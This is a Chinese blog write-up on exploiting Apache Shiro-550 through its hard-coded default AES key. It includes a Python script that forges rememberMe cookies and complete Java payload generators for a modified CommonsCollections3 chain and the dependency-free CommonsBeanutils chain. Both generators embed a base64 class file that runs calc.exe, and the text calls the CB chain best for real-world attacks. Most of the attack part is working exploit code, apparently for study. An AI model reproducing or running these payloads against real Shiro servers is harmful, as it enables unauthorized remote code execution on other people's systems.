shiro550利用链分析#

shiro550的介绍就不多说了,就是因为AES加密密钥被硬编码(默认值为kPH+bIxk5D2deZiIxcaaaA==)。导致攻击者可以利用此密钥构造恶意的序列化数据,伪造rememberMe Cookie,从而执行任意代码。

本篇文章主要讲一下shiro的利用链,目前我所知道的有

  • cc3的改造链,需要commons-collections3的依赖
  • cb原生链,无需其他依赖

两条链都可以分析下,实战中cb链是最好的,因为你也不知道目标环境有没有commons-collections3的依赖

这里的shiro环境我用的是P神的,搭建过程略过

https://github.com/phith0n/JavaThings/tree/master/shirodemo

tomcat启动后可能会加载不出来样式,jsdelivr的缘故,影响不大,burp抓包就行。

image-20250408171857855

cc3改造链#

先确保pom.xml存在commons-collections3的依赖

image-20250408173015200

学习这条链之前首先要明白为什么叫cc3的改造链。之前的反序列化文章提到cc6是最通用的一条链,然而在你尝试使用cc6去打时,会发现并没有弹出计算器。

给出生成shiro rememberMe字段的python代码,file_path写序列化出来的文件路径

import base64
import uuid
from Crypto.Cipher import AES


def get_file_data(filename):
    with open(filename, 'rb') as file:
        data = file.read()
    return data


def aes_encrypt_data(data, key):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    cipher = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + cipher.encrypt(pad(data)))
    return ciphertext


if __name__ == "__main__":
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    file_path = r"obj.ser"

    data = get_file_data(filename=file_path)
    payload = aes_encrypt_data(data=data, key=key)
    print(payload)

生成cookie后发送,查看tomcat运行日志,你会得到这样一个错误

image-20250408173532448

这是因为tomcat的处理逻辑不一样,具体逻辑不太清楚,直接引用P神在《java安全漫谈》中说到的结论

如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。

那如何构造不含数组的gadget呢?

构造不含数组的gadget#

根据前面学习的内容来看,所有的链子最终要么走到transform数组,要么用TemplatesImpl加载字节码,答案很明显了,一定是使用TemplatesImpl字节码加载。

回过头来看cc3的payload,发现两条链都用到了Transformer数组,这就麻烦了。

        //使用invokeTransformer.transform()方法触发,执行TemplatesImpl的newTransformer()方法
//        Transformer[] transformers = new Transformer[]{
//                new ConstantTransformer(obj),
//                new InvokerTransformer("newTransformer", null, null)
//        };

        //使用TrAXFilter.TrAXFilter()方法触发,执行TemplatesImpl的newTransformer()方法,绕过黑名单
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { obj })
        };

要解决这个问题我们先来回顾一下cc3和cc2(以下是cc3的demo)

    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("xxx");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { obj })
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, null);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(chainedTransformer, "iMethodName", "newTransformer");

这里用的是TrAXFilter和InstantiateTransformer这条链,我们使用cc2改造一下,cc2提到可以直接用InvokerTransformer.transform()来调用TemplatesImpl.newTransformer(),但是最终cc2是使用TransformingComparator.compare调用InvokerTransformer.transform()的,然而我们这里是commons-collections3的依赖,所以只能另寻出路,现在只要能找到谁能调用InvokerTransformer.transform()并且传入的值必须是TemplatesImpl对象,就可以完善gadget(这里不清楚的师傅可以再去看看cc2)。

https://kiiy.cc/web/javasec/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96-cc2.html

LazyMap.get()#

最终我们注意到了LazyMap.get(),他可以调用transform方法,只需将factory初始化为InvokerTransformer即可,并且key需要为TemplatesImpl对象。

	public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

TiedMapEntry.getValue()#

初始化factory很简单,LazyMap.decorate()方法可以实现。问题是现在的key怎么初始化,答案是用TiedMapEntry构造函数,在初始化map和key过后,getValue()方法调用LazyMap.get(obj),此时的obj就是TemplatesImpl对象。

TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

image-20250408233007393

这样一来问题就解决了,我们不再需要transformer数组,就能够加载任意字节码。

最终payload

package shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABVDYWxjVGVtcGxhdGVJbXBsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEAI0J5dGVzQ29kZUdlbmVyYXRvci9DYWxjVGVtcGxhdGVJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAQAAQAEQANABIACwAAAAQAAQAQAAEAEQAAAAIAEg==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
        out.writeObject(expMap);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
        in.readObject();
        in.close();
    }
}

用python生成shirocookie,成功执行命令 image-20250408233958608

gadget#

HashMap.readObject()
    HashMap.hash()
         TiedMapEntry.hashCode()
            TiedMapEntry.getValue()
                LazyMap.get()
                    InvokerTransformer.transform()
                        TemplatesImpl.newTransformer()
                            TemplatesImpl.getTransletInstance()
                                TemplatesImpl.defineTransletClasses()
                                    TransletClassLoader.defineClass()

CB原生链#

去掉commons-collections3的依赖后,发现原生库里存在Commons Beanutils库。

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对 象(也称为JavaBean)的一些操作方法。

image-20250409112036774

PropertyUtils.getProperty#

commons-beanutils中存在一个静态方法 PropertyUtils.getProperty,可以调用任意JavaBean的getter方法,下面举一个例子

创建一个javaBean

package fastjsonGadget;

public class User {
    private String name;
    private int age;

    public User() {
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public User(String name, int age) {
        this.name = name;
        this.age = age;
        System.out.println("调用了User.User()构造方法");
    }
}

使用PropertyUtils.getProperty调用getName(),运行后控制台会输出Bob,说明调用了getName(),返回了name的值

package testCode;

import fastjsonGadget.User;
import org.apache.commons.beanutils.PropertyUtils;


public class Test {
    public static void main(String[] args) throws Exception{
        Object obj = PropertyUtils.getProperty(new User("Bob",12), "name");
        System.out.println(obj);
    }
}

payload

package commonsbeanutils;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.PriorityQueue;

import static commonscollections3.CC6plusCC3.setFieldValue;

public class CB1shiro {
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABVDYWxjVGVtcGxhdGVJbXBsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEAI0J5dGVzQ29kZUdlbmVyYXRvci9DYWxjVGVtcGxhdGVJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAQAAQAEQANABIACwAAAAQAAQAQAAEAEQAAAAIAEg==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
        out.writeObject(queue);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
        in.readObject();
        in.close();
    }
}

TemplatesImpl.getOutputProperties()#

cb链在TemplatesImpl.newTransformer()之后和cc3是相同的利用链,都是加载字节码。之前就不同了,cc3是使用TrAXFilter的构造函数调用的TemplatesImpl.newTransformer(),而cb链使用的是TemplatesImpl.getOutputProperties()方法。

可以看到该方法也调用了newTransformer()方法

    public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

BeanComparator.compare()#

那么谁能调用getOutputProperties()方法呢?看到前面的get是否很熟悉,是否可以用到我们前面提到的PropertyUtils.getProperty静态方法来调用getOutputProperties()。

BeanComparator.compare()方法刚好调用了PropertyUtils.getProperty,如果哪个方法能调用到compare方法,我们只需控制o1和this.property分别为TemplatesImpl对象和字符串OutputProperties就可以调用到TemplatesImpl.getOutputProperties()方法了。

image-20250409121019324

PriorityQueue.siftDownUsingComparator()#

和cc3相同,调用一个类的compare方法可以使用PriorityQueue.siftDownUsingComparator()方法,只需初始化comparator即可,需要注意的是compare的参数必须是TemplatesImpl对象。

payload中首先并没有直接传入TemplatesImpl对象,为了避免在序列化时触发命令执行,在最后使用反射将queue字段的值改为了一个由两个TemplatesImpl对象组成的数据。

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
setFieldValue(queue, "queue", new Object[]{obj, obj});

经过调试发现,Object c = queue[child]; child为1,对象c为TemplatesImpl对象,这也是为什么会使用数组的原因

image-20250409120716721

之后的利用链和cc4就相同了,都是PriorityQueue类内部的调用,最终走到readObject方法。

gadget#

PriorityQueue.readObject()
  PriorityQueue.heapify()
     PriorityQueue.siftDown()
        PriorityQueue.siftDownUsingComparator()
			BeanComparator.compare()
				TemplatesImpl.getOutputProperties()
					TemplatesImpl.newTransformer()
						TemplatesImpl.getTransletInstance()
							TemplatesImpl.defineTransletClasses()
								TransletClassLoader.defineClass()

用这条无依赖的gadget去打shiro

image-20250409125344974